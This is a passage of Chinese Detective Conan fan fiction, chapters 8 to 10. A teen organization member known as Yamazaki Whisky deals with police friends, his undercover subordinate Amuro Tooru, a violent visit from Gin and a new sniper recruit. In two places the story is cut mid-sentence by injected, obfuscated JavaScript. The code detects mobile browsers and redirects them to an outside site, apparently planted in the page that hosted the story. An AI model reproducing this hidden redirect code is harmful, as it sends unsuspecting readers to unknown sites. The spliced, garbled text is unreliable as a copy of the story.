没想到他这一声虽然没有真的把犯人喊停下来,却喊出这样一个武力高强的少年。 松田阵平速度不减,很快地跑上前接过“赃物”,又铐住那个已经躺在地上爬都爬不起来的男人。 出警最快的一集。松田阵平满意地在心里这样感慨了一句。 然后他转过身,打算好好谢谢刚刚那个少年。 好熟悉的黑发黑眼。松田阵平摘下墨镜,蓝眼睛深深打量着眼前清瘦的少年。 ——在哪里见过呢? “你是那个那天出现在第二颗炸弹安放现场的人质少年?!” 松田阵平一声喊出。 急忙赶来的降谷零脚下一个趔趄。 山崎威士忌?!千鸟奏?!人质?! 千鸟奏心里大呼不妙,下意识看向安室透的方向。不要不要不要!一定不要听到啊安室透!他在心里祈求着。 可惜赶来的金发男人显然是听到了卷毛警察先生的那一声大叫,有那么一个瞬间连动作都停滞了,然后他抬起头看向千鸟奏,灰紫色的眼睛里全是掩盖不住的震惊。 完蛋了—— 千鸟奏在心里哀嚎起来。这是他今天第二次想要用掉仅剩的那次时间回溯了。 千鸟奏抬头望天。 蓝眼睛的卷发警官顺着眼前黑发黑眼少年的视线转头向他身后看去。没想到又看见了一张更加意想不到的脸。 一毕业就杳无音讯人间蒸发去执行神秘任务的那个金发混蛋?! 对方显然跟他一样震惊,灰紫色的眼睛瞳孔缩了又缩。 很快相视着无语的人变成了他们两个——旁边的千鸟奏忙着抬头望天,根本没心情注意他们这边的混乱景象。 最后还是松田阵平想起降谷零“执行神秘任务”的传闻,率先收回目光转回了头假装和他根本不认识。 降谷零也拖着越来越沉重的脚步迟迟地赶到了现场。 一时间三个人都相互无言起来。 事情怎么会变成这样呢? 三个人各自把视线投向三块不同的空地。三人一面各怀鬼胎地想着该怎么把眼下这个尴尬的场面缓和过去,另一面倒是不约而同地这样想着。 “喂001。”千鸟奏生无可恋地在心里呼唤起系统来。 “宿主,我在。”电子音又迅速地响起。 “有什么缓解尴尬的办法。” “好的,为您的问题‘有什么缓解尴尬的办法’搜索到以下2478个回答。” “……以下是几个实用的办法:一、直接承认,化尴尬为坦诚。不小心说错话导致场面尴尬时可以考虑直接承认。坦然面对会使大家觉得真实可爱,掩饰有时反而会放大尴尬。二、幽默转移法。用自我嘲讽的玩笑降低攻击性……” 电子音一句接一句地从千鸟奏的脑海里响起,千鸟奏突然觉得他现在这个仰头望天的动作非常完美。 因为四十五度角仰望天空眼泪不容易流下来。 哈。 8. 住来我这里吧 千鸟奏,现组织代号级别干部。安室透,现组织情报组高级情报人员,已经半只脚踏入组织的代号成员行列。 两个人现在正大眼瞪小眼地排排坐在警视厅,而几个笑意盈盈的警察正捧着一副红底金边的大锦旗向他们迎面走来。 ——“素不相识伸援手,助人为乐显真情!” 两行震撼的金色刺绣大字端端正正地绣在红色的绒面布料上。虽然刺绣用的看起来是哑光的金线,千鸟奏还是觉得那两行大字晃得他眼睛都有些生疼,以至于他觉得眼角的那块灵活的肌肉都不受控制地跳动起来。 “山崎老弟,”一个胖胖的中年警官走过来像拎小鸡一样把看上去已经完全的宕机的千鸟奏轻轻拎起来,拍了拍他的肩膀,然后又很自来熟地一把将他揽进怀里。 “怎么样,是不是看呆了?这可是我们警视厅专门给你们这种见义勇为的好青年准备的……哎呀就是可惜时间紧迫来不及给你把名字也一起绣上去,你看!这里!到时候我们就把你的名字绣在这里怎么样!” “老弟啊,上次看你好像也是见义勇为才被卷进那个爆炸案的吧,啊呀呀你真是好小伙子!”男人的手顺势又重重往千鸟奏肩头拍了拍,像是很中意,很欣赏他这个后辈一样。 “现在啊像你这样爱见义勇为伸张正义的好青年真是不多了啊……” 男人意犹未尽的话语还絮絮叨叨地盘旋在耳边。 不过千鸟奏已经神情恍惚地神游太空很久了。 这个胖胖的警官叫什么来着?哦,好像是目暮警官……他在说什么?日语吗?怎么好像每个字都听得懂,但是连起来就不知道是什么意思了呢……日语还能这样排列组合吗? 千鸟奏觉得自己整个人都好像已经升华了。 他是不是不该答应那个蓝眼卷毛的警察跟他回警视厅做笔录。他当时应该拽着安室透直接跑的……对吧? 哦。安室透。 千鸟奏身体狠狠一震,从目暮警官热切的怀抱里勉强脱出身来,慢慢转过头去对上身后安室透同样震惊,呆滞,又好像有点麻木了的眼神。 他今天第三次想使用时间回溯了。千鸟奏默默在心里流着泪。 好不容易等到目暮警官的热情散去,回归岗位去继续他的工作,千鸟奏一脸欲哭无泪地抱着他们卷起来送给他的锦旗,准备带着安室透快点离开警视厅,以免再有什么节外生枝的事情发生。 “山崎君——” 一个有些耳熟的声音就从他们背后冒了出来。 千鸟奏有些麻木地转过身。 还真是熟人。 还是那天那个倒霉的爆处组警察,好像是叫什么——萩原研二来着。千鸟奏认命地扯出一个难看的笑容。 萩原研二身旁跟他一路勾肩搭背走来的正是那个卷毛蓝眼的警察。 “我听小阵平说今天又遇到了你,你还帮他拦住了一个难追的抢劫犯,他特意把你带回警视厅——上次我还没来得及跟你道谢,本来想等你做完笔录再好好跟你道谢,没想到你跑得那么快。” “上次连你的联系方式都没留,我后来看搜查一课他们的笔录记录发现你也没给他们留联系方式和住址就走了,还以为没机会再跟你好好道谢了,没想到这么快就因为你帮小阵平追犯人又见面了。” 紫眼睛的警察很狡黠地笑笑,向他递出了自己的手机。手机已经提前打开到了添加新联系人的界面。 “交换一下联系方式呗,我神秘的救命恩人先生。” “还有我!”那个叫“小阵平”的蓝眼睛警察也跟着探出头,一边很自然地伸手搭上了千鸟奏的肩头,也向他递出了自己的手机。 蓝眼睛的警官眯眯眼睛,“虽然不是像研二那样救命恩人的关系,不过你今天也算是救我于水火了!没有你帮我的电话,我身为警察的一世英名可就要毁于一旦了——所以!也赏脸给我一个答谢你的机会如何?山崎君。” “哦对了,差点忘记自我介绍。”搭在千鸟奏肩头的手臂微微收紧了一点。 “松田阵平。很高兴认识你。虽然我们上次就在警视厅见过,不过看起来你已经忘记了,那这次一定要记住我哦。” 卷发蓝眼的警察这样说着。 哈。何止记住。这辈子都不会忘记你了。 千鸟奏愤愤地想着刚刚噩梦般的一切——好吧其实他根本没有勇气再回想刚刚的场面。真的,这绝对不是他的问题,千鸟奏发誓,刚刚的场面真不是随便换个人来都能承受得住的。尤其是再加上今天早上和今天中午发生的一切。经历过这样的一天,千鸟奏都觉得自己以后出任务的时候都要小心一点了,万一不小心死了,死前走马灯还要再经历一遍这些。 简直是世界上最绝望的死法! 现在千鸟奏面前站着的是萩原研二,身旁挡着旁边的出口还搭着一只手在他身上的是松田阵平,往后是一直跟着他的安室透。两台手机就这样架在他的眼前。 他还有现在脱身跑走的可能吗?千鸟奏往后偏偏头,看向安室透的方向,希望得到这个一向有眼力见的下属的救援。 然而他终究要失望了,他心目中一向很有眼力见的下属此刻正向他不明所以地歪歪头——明明平时很有眼力见的为什么现在这种关键时刻掉线了啊喂!甚至还往前走了两步跟着那两个警察彻底把他所有退路都堵死了!怎么会这样?! 千鸟奏在心里无声地呐喊着。 他怎么觉得此时此刻安室透跟那两个警察看上去才是一伙的?! 难道是因为在警察局所以实在太紧张了吗? 他这样一边想着,在心里为前几次表现得很好的下属开脱着,一边无奈地转头接过递到他眼前的两个手机输入自己的电话号码。 没想到他的联系方式也有不得不给出的这天。千鸟奏懊悔地想着,早知道就让琴酒帮他多办几张电话卡了。 不过只是把电话号码给了两个普通的警察,应该没什么关系吧? 千鸟奏这边正低着头向两个手机里输着自己的电话号码,另一边三个人的眼神已经越过他开始在空中交汇,只是相互对视了一秒就马上各自分开。 某种意义上来说千鸟奏刚刚的感觉的确是对的——匆匆赶来的萩原研二和松田阵平一开始只是想来和好不容易再见到面的降谷零打个照面,顺便最好能弄来他现在的联系方式。他们知道他大概现在正隐姓埋名做着什么危险的卧底任务,但是面对彼此感情这么深的同期,实在很难放过眼前这个大好机会吧!他们也只是来看看降谷零如今是用什么身份在活动,当然是不会让他的卧底行动被暴露出来的。再说,这个两次出现的名为“山崎奏”的神秘少年,上次见面萩原研二就觉得他没有看起来那么简单,再加上后来落网的炸弹犯无论怎么审问都一口咬定自己绝没有绑架过什么人质。想到那个少年也许是为了提醒被蒙在鼓里的警方才进入炸弹安装的现场把自己伪装成人质,他们就更想找到这个救了萩原研二一命的神秘少年。 就在千鸟奏神游天外满脑子还在回想刚刚的社死场面的时候,三人一早就远远越过他对上眼,各怀目的的三人很快顺势上演了刚刚那一出“堵死”千鸟奏的完美配合,逼得千鸟奏不得不停下来交出他的电话号码。 千鸟奏刚刚慢慢输完手机尾号的最后一个数字,把两个手机推回给眼前的两个警察,松田阵平很快就调转了一个方向,看向千鸟奏身后的降谷零。 松田阵平对着他抬抬手,“那你呢,金发的先生,跟山崎君是什么关系?” “我是他表哥。” “他是我同事。” ……两个人的声音同时迅速地响起。 又是两秒诡异的沉默。 “我是他同事。” “他是我表哥。” …… “哈哈。” 千鸟奏破防地笑了笑,忍下想再次抬头望天的冲动。 “其实我们既是同事又是表兄弟,”安室透的声音紧跟着镇定地响起。 这种时候还是需要心理素质更胜一筹的安室透来救场,千鸟奏松了口气,感慨果然靠谱的下属还是这么靠谱,看来刚刚的掉线是没能理解他的想法。看来以后还是要多给他一点提示,千鸟奏这样想着,暗自为自己的善解人意点点头。 “只不过其实不是亲表兄弟,而是远房表兄,说起来真是巧呢,我们做了很长一段时间才发现对方是彼此的远房表亲,所以一时间还没能适应得过来身份的转变,才会出现刚刚的状况。人与人之间的缘分真是这样巧,明明我们两个长得根本不像对吧,哈哈。” 安室透眯起灰紫色的眼睛对着眼前的两个警察爽朗地笑着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950138|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 松田阵平于是也跟着他笑起来,从千鸟奏身边一下子转悠到了安室透身旁,一只手又熟练地搭上了金发男人的肩膀。 “既然这样,你是小奏的亲戚,我们是小奏的朋友,那我们也是你的朋友了,那你也来自我介绍一下,我们认识认识?” ……东京的警察都这么喜欢到处跟人勾肩搭背吗? 还有小奏是什么鬼啊?!就这么一会儿功夫他们有熟成这样吗?! 千鸟奏真心觉得槽点有点过于密集了。 不过还好这里还是有正常人的,比如沉着冷静靠谱的安室透,他一定会拒绝这个警察无理的要求然后带着他快快离开这里…… “好啊,我叫安室透。”然后千鸟奏就听见安室透听起来还算欢快的声音。 ? “这是我的联系方式,很高兴认识你们哦,小奏的朋友就是我的朋友……” ?! 千鸟奏头上开始一个接一个地冒出问号了。 “……001。”千鸟奏在心里喊着 “宿主,我在。”电子音依旧迅速地回应他。 “没事做的话可以去玩自己的搜索引擎。” “而不是在我头上帮我画问号。” “……哦。” 问号于是又一个接一个地从千鸟奏头顶上消失。 直到快要接近傍晚的时候,千鸟奏和安室透总算从警视厅出来又坐上了安室透的白色马自达,驱车从警视厅开回千鸟奏的安全屋。 ——带着他们刚刚拿回来的锦旗,和下午去警视厅的路上千鸟奏想起来去买的新拖鞋。 要不是当时路过路边的某个生活超市,千鸟奏估计真的会忘了今天出门一开始是为了买什么。 “你就这么把你的电话号码也给了那两个警察?”千鸟奏靠在后排的座位上,闭着眼问起安室透。 “我的电话卡有很多,给他们的是最没用的一个,没关系的,不会暴露什么。” 安室透这样说着,千鸟奏于是很随意地点点头表示他知道了。 毕竟本来就没什么大不了的。虽然千鸟奏给出的的确是自己的私人号码,不过一个电话号码而已,他的电话号码好歹也是合法的。再说,这次以后肯定不会再碰到那两个警察了。 意外而已。 千鸟奏这样想着,又从座位上往下滑了一点,舒舒服服地靠在汽车的椅背上。 “安室君,”他的声音从后排懒洋洋地飘来。 “我在。”安室透很快认真地回应着,一边从中央后视镜里看了整个人瘫在后座的千鸟奏几眼。 “透,我可以这样叫你吗。”想到那个叫松田阵平的警察熟捻地叫着他“小奏”的语气,千鸟奏有一搭没一搭地问着安室透。 “……当然,千鸟君。” 千鸟奏闻言往上坐直了一点,“那你也要叫我奏。” “好的,奏君。”又是一个红灯的路口,安室透一面将车安稳地停住,一面回应着千鸟奏莫名其妙的要求。 千鸟奏从后排的座位上站起身来,探出一半身子探到前排的驾驶舱里,整个脑袋都探过去探到安室透的眼前,然后看着他灰紫色的眼睛。 “朗姆其实早就跟你说过了吧,” “透君,住来我这里吧。” 他这样说着。 “是。”安室透干脆利落地回他,“不过还请您小心,红灯要结束了。” 千鸟奏于是心满意足地一头倒回后排的座椅上。 ——“嗡嗡。” 千鸟奏的手机振了振,几条信息接连着弹出来。 【From:琴酒 我让行动组的那个叫绿川光的新人去你那里报道了,你人呢?】 【From:琴酒 他的资料我一早就提交给朗姆了,他不是今早就把资料转交给你了吗?你现在人跑到哪里去了?绿川光给我发简讯告诉我你今天一整天都不在家。】 【From:琴酒 山崎威士忌。你最好马上给我一个交代。】 【From:琴酒 我马上到你家门口等你。】 …… 千鸟奏这次彻底闭上眼了。 他现在去找个神社拜拜避避邪还有用吗。 掉头!马上给我掉头啊—— 9. 琴酒,杀了我 千鸟奏从上到下看完琴酒的几条信息,认真地回忆了一下他说的资料。 ——好像自从今天早上安室透递给他以后就被他随手放到旁边的桌上,之后再没有想起过,更别提翻开资料看了。 今早他在干嘛? 今早好像他在急着带透君出门买拖鞋…… 他心虚地回忆着朗姆前一天晚上叮嘱过他一定要好好看那份资料的邮件。 谁知道另一个新人今天就要来找他报道啊,他光顾着要把安室透快点拐来家里当住家保姆…… “啪”,千鸟奏猛地把手里的手机合上翻盖。 他今天没时间看手机。就算没能看到琴酒前面给他发的几条信息,那也不是他的错。 绝对不是他的错。 这样想着,他又探出半个身子到安室透的驾驶位旁。 “透君。”他脸上挂上一个有些腼腆的笑容。 “能不能我们先开车去你家?” 专心开车又被打断的安室透:? ——当然最后千鸟奏半路逃去安室透家的计划也没有成功。 因为琴酒接下来直接把电话打到安室透这里来了。 “山崎威士忌那个家伙跟你在一起吧。” “二十分钟之内,我要在他家看到他的人。” 安室透于是略带歉意地看了千鸟奏一眼,下一秒他一脚油门踩下去,白色的马自达以一个千鸟奏从未设想过的速度飙了出去。巨大的惯性使得千鸟奏整个人牢牢地贴在汽车后座的靠背上。 “奏君记得在后座坐稳哦。”他的声音远远地从驾驶位飘来。 ——等等等等,这就是命运的推背感吗? 整个人已经变得像一块粘锅的烙饼贴在安室透车上的千鸟奏凌乱地想着。 安室透不是情报组的人吗?!为什么飙车飚得比那些行动组的疯子还快?! 从马自达的后座上下来,千鸟奏还觉得有些恍惚。 怎么感觉眼睛前有星星在转—— “咔哒。” 木仓械上膛的声音。 “砰砰。” 千鸟奏迅速反应过来,翻身就地一滚,躲开直逼他要害射来的两发子弹。 “砰砰砰。” 没等他作出其他反应,子弹一发接一发地继续向他射来。 千鸟奏一边快速地翻身躲避着,一边从卫衣袖口中抽出他藏在腕间的蝴蝶刀,反手两下甩开。 伯/莱/塔的15发子弹全部打完,少年的身影也跟着从院前一闪消失,于此同时琴酒的脖颈间一道匕首的寒光一闪——千鸟奏已经顺着木仓声找到了他。 琴酒冷笑一声,向后一退,手中的伯/莱/塔跟着脱手而出,打掉了架在他脖颈前的蝴蝶刀,两个人赤手空拳迅速地过起招来。 “琴酒!”千鸟奏一边格挡,一边寻找着琴酒的漏洞快速出招,招招直逼他的面门,声音里还带着浓浓的咬牙切齿。 “我不就几个小时没回你的简讯,一天忘记看你给朗姆传的文件。你至于在我家门口等着,上来就给我几枪吗?!” “你真是。变!态!”千鸟奏一边怒吼着,一个借力踩上墙壁,从半空中跳下,抓住琴酒格挡的间隙,一拳打向琴酒的右肩。 琴酒将计就计,顺着千鸟奏出招松懈的防御,硬吃下少年使出全力的一拳,然后跟着顺势扯住少年的手,将他往地上拉,曲起膝盖不甘示弱地对着千鸟奏的腹部出击。 “哼。”两个人各受一击,相互纠缠着在地上双双翻滚了两圈又快速分开。琴酒冷哼一声,再次主动出击。 “山崎威士忌。你在挑衅我是吗。” “来跟我战斗吧。”说罢,顷刻间两人又相互拆下十几招。 “到底谁想跟你战斗?!谁想挑衅你?!!我错了还不行吗——”千鸟奏欲哭无泪。 琴酒这个变态到底什么时候才能治好他的被害妄想症?! 最后这场难舍难分的战斗以千鸟奏硬吃下琴酒三拳换来他压制住琴酒获得胜利结束。 当然现在他们已经“体面”地坐在了千鸟奏家的客厅里。 琴酒端起茶杯的把手,轻轻抿了一口泡好的茶水。 哦对,差点忘记说明,茶水当然是安室透跟着进来主动泡好的。 ——甚至连茶叶和烧水壶都是他从汽车的后备箱里拿出来的。因为千鸟奏家里这些东西统统都没有。虽然正常人家里起码会有那么一个烧水壶,但显然千鸟奏无论从哪个方面来说应该都不太能算在正常人的范畴内。 但是把这种东西都随身备在后备箱里难道就很正常了吗?! 没有一个人想要吐槽一下这一点吗?! 千鸟奏大受震撼。透君原来是这么会过日子的人吗?那他是不是以后该为搬进来的透君准备更多生活用品,买些锅碗瓢盆之类的?透君会不会嫌弃他家里什么都没有最后痛下决心离开这个空荡荡的家抛弃他这个不会过日子的上司吧…… 千鸟奏忍不住偷偷瞟了一眼正在从容地泡茶、倒茶的安室透一眼,于是对上了那双略显疑惑的灰紫色眼睛。 ! 千鸟奏默默移开目光。 不好。偷看透君被发现了。TT 正在尽力给两位代号成员留下好印象的安室透:??? 难道他哪里做得出格引来山崎威士忌的怀疑了吗?! “明天,”终于抿完那一口茶水的琴酒没头没尾地开口。 “啪”,他将茶杯往桌上一放。 “我会重新让绿川光来你这里报道。”琴酒这样说着,拿起那份千鸟奏今早随手扔在桌上翻都没翻开过的资料瞄了一眼,又重重地把它拍在千鸟奏的面前。 “你最好今晚会给我好好阅读这份资料,不然明天我就会跟你动真格了。” “山崎威士忌。你知道我从来不会跟你开玩笑。” ……说得好像刚刚跟他打架赢的人是你一样。千鸟奏默默吐槽。 “咔哒。”上膛的伯/莱/塔又架到了千鸟奏额头前。 “有本事你现在再说一遍。” 啊呀。 不小心把心声说出来了吗。 哈哈。哈哈。看这事闹的……都是兄弟…… 千鸟奏慢慢抬起头,看着已经站起来用伯/莱/塔指着他的银发男人。黑沉沉的眼眸闪了闪,反而主动把脑袋往前凑,刚刚还离他半米远的枪口慢慢变成了直接抵住他的额头。 黑发黑眼的少年笑起来。 “琴酒。杀了我。你知道我一直在等这一天——” 少年话音未落,额前的伯/莱/塔就迅速地收回,仿佛刚刚的一切都没发生过一般。 “子弹刚刚早就打空了。少做些不切实际的梦。”琴酒这样说着,转身向门口走去。 “你对组织还有大用。而我的任务是确保你活着——无论用什么状态活着。” “这一点你两年前就该清楚。”银发的杀手快要走到门口,却突然站定,回过头用那双绿色的眼睛直直地看向还在微笑的黑发少年。 千鸟奏还在笑,但是笑意未曾达到过那双黑沉沉的眼睛里。 “不付出点什么生命的代价,我很难杀掉你。我从来不做亏本的买卖。除非你作出什么出格的事情威胁到组织——到那时,不用那位下命令,无论天涯海角,我都会抓住你,跟你同归于尽的。” 似乎是觉得自己的警告已经到位了,琴酒又转回身去继续向门外走。 “接我那几招也够你疼的了,你该高兴了吧,恋痛癖。” “最好让你的新下属帮你好好重新处理一下伤口。” “你的血还有别的用处。” 银发的身影跟着飘来的最后几个字一起消失在门外,再转眼他已经上了不知道何时等候在门外的保时捷356A扬长而去。 这个伏特加到底是什么时候开车来的?! 怎么又让这个琴酒装到了?! 千鸟奏慢慢收回视线,又收起脸上用来装逼 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想到千鸟奏实验体的身份,降谷零不禁觉得有什么更大的秘密正在他的面前展开了。 所以他最后对着他笑的那一下是不是警告他不要把刚刚看见的一切说出去的意思?! 这样乱七八糟地想着,他拎着那个又大又沉的医药箱转身走出卧室,一抬眼就看见那个黑发的少年此刻已经坐在沙发上脱掉了自己的灰色卫衣,露出整个裸露的上半身。 17岁。他莫名想起眼前少年此刻的年龄。昨天得知看着还像高中生的少年的的确确还是高中生的年纪时他还恍惚了一下,心里想要消灭组织的愿望更甚。 17岁的他大概还在跟hiro谈着以后要读警校的梦想,还在努力地为自己的升学考试做着准备吧。 17岁的高中生每天最大的烦恼应该是退步的小测成绩,更新太慢的jump漫画,一不小心花超了预算的零用钱。 千鸟奏今年,真的17岁。 降谷零恍惚间又觉得自己的信念又有些动摇了。他奋力压下心里再次翻涌起来的诸多想法,走到千鸟奏面前将那个沉沉的医药箱放下。 “我来吧,奏君。” 他这样说着,看着眼前少年露出的大半个上身上错综复杂的伤疤,解开了他缠在腹部已经快要被渗出来的鲜血浸透了的一圈圈绷带,露出了绷带底下更吓人的伤疤和裂开的伤口。 降谷零觉得一时间很难再用什么措辞来形容自己现在的心情。他只是一言不发地从医药箱里拿出各式各样的工具,小心翼翼地为少年裂开的伤口消着毒。 ……组织。 “不用去医院重新处理一下吗?”他听见自己的声音这样有些不合时宜地问着。 “我死不了的。” 千鸟奏歪歪头看着自己突然主动起来的下属。 透君人这么好的吗。 难道是他刚刚的微笑打动了透君,融化了他冰封的心?! 透君!真是超级无敌世界级好人啊!组织最后的正常人!他要把他评为世界上最好的下属! 世界第一下属君! 降谷零帮他处理伤口的手闻言不经意地抖了抖。 他把头低得比刚刚更低,压下眉眼挡住自己眼中忍不住翻涌起来的情绪。 任何多余的个人情感都有可能葬送他的卧底生涯。降谷零的理性这样呐喊着。 然而他的理性好像也在动摇着,某些声音在他的脑海里叫嚣得越来越大声。 千鸟奏不会知道他心里此刻又在掀起什么惊涛骇浪,他也不会让千鸟奏知道——最好是永远。 解放了双手的千鸟奏翻开那叠琴酒摔过来的资料。 ——行动组预备高级行动成员:绿川光。 很独特的一双眼睛呢。 千鸟奏盯着右上角的那张照片心里想。 10. 你想喝柠檬汁吗 “咔哒。” 诸伏景光转开安全屋的门锁。 屋子里漆黑一片,诸伏景光也不急着伸手按开门边的灯,只是慢慢地把身上背着的吉他包放下,沉重的吉他包跟地板相碰,发出一声闷响。 这吉他包是两个月前他和zero改装的,从前用来放他那把有些旧了的吉他,现在由他们两个亲手改装成了眼前这个放狙击枪的背包。 绿川光,这是他现在的名字。从他以这个身份进入组织卧底到现在已经有整整三个月了。除了第一个月里他在行动组的边缘干一些不起眼的打杂工作,他很快就找到机会适当地展现出自己过人的狙击天赋,被琴酒看中并暂时收入他的手下。 所以他真正进入行动组到现在应该是两个月。 这个吉他包就是那时候改造的。 两个月,琴酒塞给他这把狙击枪,没日没夜地对他进行狙击手加强训练,他就跟着训练的计划一点一点表演出一副努力学习,逐渐掌握狙击要诀,狙击能力快速提升的样子。他其实有想过从一开始就以“一个还不错的狙击手”的身份进入行动组,但zero那时担忧地劝他进入行动组的事最好还是慢慢来。 毕竟跟情报组不同,正式进入行动组的那一刻就意味着他的手上马上就要沾染鲜血。 正式进入行动组的前一天,已经是情报组成员的zero提着两袋子酒过来陪他喝了一整晚。 他那时怎么跟zero说的来着? “zero,我以前从没想过我的手上要有沾染鲜血的这一天。” “……,”然后他沉默了半晌,仰头把手里那罐剩下的酒饮尽了,又摆出一副无所谓的样子笑了笑,本来就上挑的眼尾跟着扬起,“为了摧毁组织,我愿意。” “就算粉骨碎身,就算死无全尸。” “……” 那天他们一起改装了这个吉他包,再然后他背着这个吉他包在组织的训练场不见天日,没日没夜地训练了两个月。 他的最后一次训练是跟着琴酒实战。算算日子,其实也就是前天。一个完全没有必要出动狙击手的任务,但琴酒还是让他上了,大概只是为了让他杀人吧。 650码,一枪。这一枪后他就是琴酒认可的狙击手。 “砰”—— 他会如愿得到琴酒应允的晋升机会。 想到这里,诸伏景光又觉得胃酸翻涌起来。 两个月前最后一面,至此他也没有和zero再见过。 zero还好吗。 他已经没有退路了。他们都没有退路。 诸伏景光靠着门框在黑暗中缓缓滑坐到地上。 明天他就要重新去山崎威士忌那里报道了。 “你是一把好枪。我会找到合适的人使用你。”琴酒这样说。 诸伏景光蓝色的眼眸暗了暗。 “——早上好!!!” “!” 刚睁开眼轻手轻脚从床上坐起的降谷零险些从床上直接滚下去。 他警惕地看了看被他锁上的房门——没有被打开过的痕迹。昨晚他帮千鸟奏处理好伤口后他得到千鸟奏的允许独自把车开回安室透的安全屋,简单打点了一下行李就赶回千鸟奏这里以最快的速度拎包入住了千鸟奏的客房。他特意里三层外三层地检查过屋内上上下下里里外外都没有安装窃听器和监控器。 ——所以这是千鸟奏故意在门外听他的动静等他起床?! 他拉开自己的房门。 很快一团黑色毛茸茸的东西就扑了上来,手脚并用地攀上了降谷零的身体。 “透君——早上好——” 降谷零忙着条件反射地伸手接住这个他已经不可能躲过的飞扑,黑发的少年这时已经牢牢扒在他的身上,仰起头用黑沉沉的眼睛看着他。 这孩子到底为什么一大早就看着这么有活力。? 降谷零真的很想吐槽。 降谷零默默地把靠近千鸟奏腰腹伤口那一侧的手往回收了一点。 千鸟奏今天挑了一件黑色的毛衣。并且为了搭配这件黑色的毛衣稍稍花费了一些心思——指从凌晨三点钟就开始拉着001帮他筛选合适的搭配。 ——完全不顾001叫苦连天的吐槽。 “反正都是我的系统了,又不能跟我交换什么额外的心愿,现在又没有你说的那什么任务,你给我在这方面多用一用怎么了?!没听过那句话吗,叫什么,‘子不嫌母丑,狗不嫌家贫’来的。叫你帮我看穿搭你就好好帮我看……” 千鸟奏这样说。 虽然多花费了一点时间,但长夜漫漫,安室透醒来之前他也不好弄出什么很大的动静,于是整装待发的千鸟奏就这样在安室透的房门口静静蹲守了两个小时,并为第一天入住他家的安室透制定了这样一个别出心裁的“早安仪式”。 哼哼,这可是当年他从贝尔摩德那里学来的,跟别人拉近关系的小妙招。 “确定是针对你说的拉近上下级关系吗。” 这个001又在说这种泼冷水的鬼话。 “你管我学的到底是什么,我虽然记不清她的课题,但我记得她教我的方法啊!贝尔摩德说的反正不会出错。” “而且贝姐也喜欢我这样好不好,她还会夸我这样就有活人味了。” 牢牢抱住安室透的那一秒千鸟奏毫不示弱地继续跟系统呛声。默念完这句,千鸟奏抬头看向安室透灰紫色的眼睛。 “透君,早上好。”他这样说着。 不过这个“早安仪式”很快没有了下文,这只是千鸟奏太久没有跟看得顺眼的“正常人”共处一室当同居室友的兴致之作。 他们很快面临新的问题—— 安室透拉开冰箱门,接着沉默地站在了冰箱前。 “哈哈。”站在他身后的千鸟奏有些尴尬地笑了笑。 冰箱里塞得满满当当。 但是上上下下所有位置塞的全是——柠檬汁。 啊呀,忘记了,透君是要吃饭的。 千鸟奏挠挠头。这个冰箱他用得实在很少,上次跟着琴酒去意大利出差回来就对在那里偶然喝到的柠檬汁念念不忘,本来想等到任务结束去采购几箱意大利产的柠檬回来研究榨汁,没想到那边合作的组织首领直接大手一挥给他空运来了这——么多同款柠檬汁。 他到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950140|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在都没喝完几瓶。 “其实这个真的很好喝的,”千鸟奏心虚地瞄了瞄还在冰箱前沉默的安室透,“你想不想尝尝,这是意大利甜柠檬榨的汁……真的很甜的……” “啪”安室透合上了冰箱门。 “我出去买菜吧,这附近有超市吗?你不可能每天从早到晚就喝柠檬汁对吧,虽然我现在不太会做饭,但是还是有那么一两个拿手菜……或者这附近有什么餐厅吗,除了昨天那个很远的商场。你平时都怎么解决吃饭的问题的?我也可以按照你的习惯来。” 安室透一边整理着衣服转身走向门口,一边嘴里不停,噼里啪啦地对着千鸟奏说了一长串。 然后他整装待发地站在门口,微笑着看向正在愣神的黑发的少年,等着他的回答。 “……” 千鸟奏已经整个人呆住了。 怎么好像每个问题都是他的知识盲区。 怎么办,我应该怎么把这个问题先搪塞过去。 为什么透君看上去这么……贤惠? 难道这就是妈妈的感觉吗?! 降谷零觉得嘴角的笑容都有些挂不住了,难道他不小心问到了他的雷点?不对吧?! 他回忆着昨天中午千鸟奏缓慢但是根本不停地进食那一桌三文鱼的样子。 这个年纪也正是吃得最多的年纪没错吧…… “哒哒哒”,就在两人僵持之时,一阵规律的敲门声响起。 站在门口的安室透刚想伸手去开,一团黑色的东西又以一个十分震撼的速度冲了过来—— 千鸟奏现在万分感谢这个神秘敲门人的出现,他以生平最快的速度迅速一个滑铲铲到了门口,开门把客人接进来然后立马关门。整套动作一气呵成,甚至连敲门的人的脸都没看清,门口就已经这样站了三个人了。 千鸟奏后知后觉地想起他还不知道来人是谁。 他抬眼看去,一眼就看见了一双眼尾微微上挑的蓝色眼睛。 哦,是那个绿川光。 这双上挑的蓝色眼睛实在太有特色,只看了一眼照片他就已经深深记住了。 好热闹啊。他突然没头没尾地想。 怎么这几天他家一下子来了这么多人。╮(─▽─)╭ “绿川光。”千鸟奏率先开口道。 “……是。”诸伏景光回过神来。 山崎威士忌家怎么有个高中生?!难道是他——有那种癖好?! 还有zero也在山崎威士忌手下?! “我找山崎威士忌大人。”他对着千鸟奏沉稳地点点头,飞快地瞟了一眼站在一旁的安室透,两人的视线彼此交汇,一触即分,眼中各有复杂的情绪一闪而过。 “我就是。”千鸟奏歪歪头。 “……。?” “你好,初次见面,我是千鸟奏。组织代号,山崎威士忌。” “请多指教。” 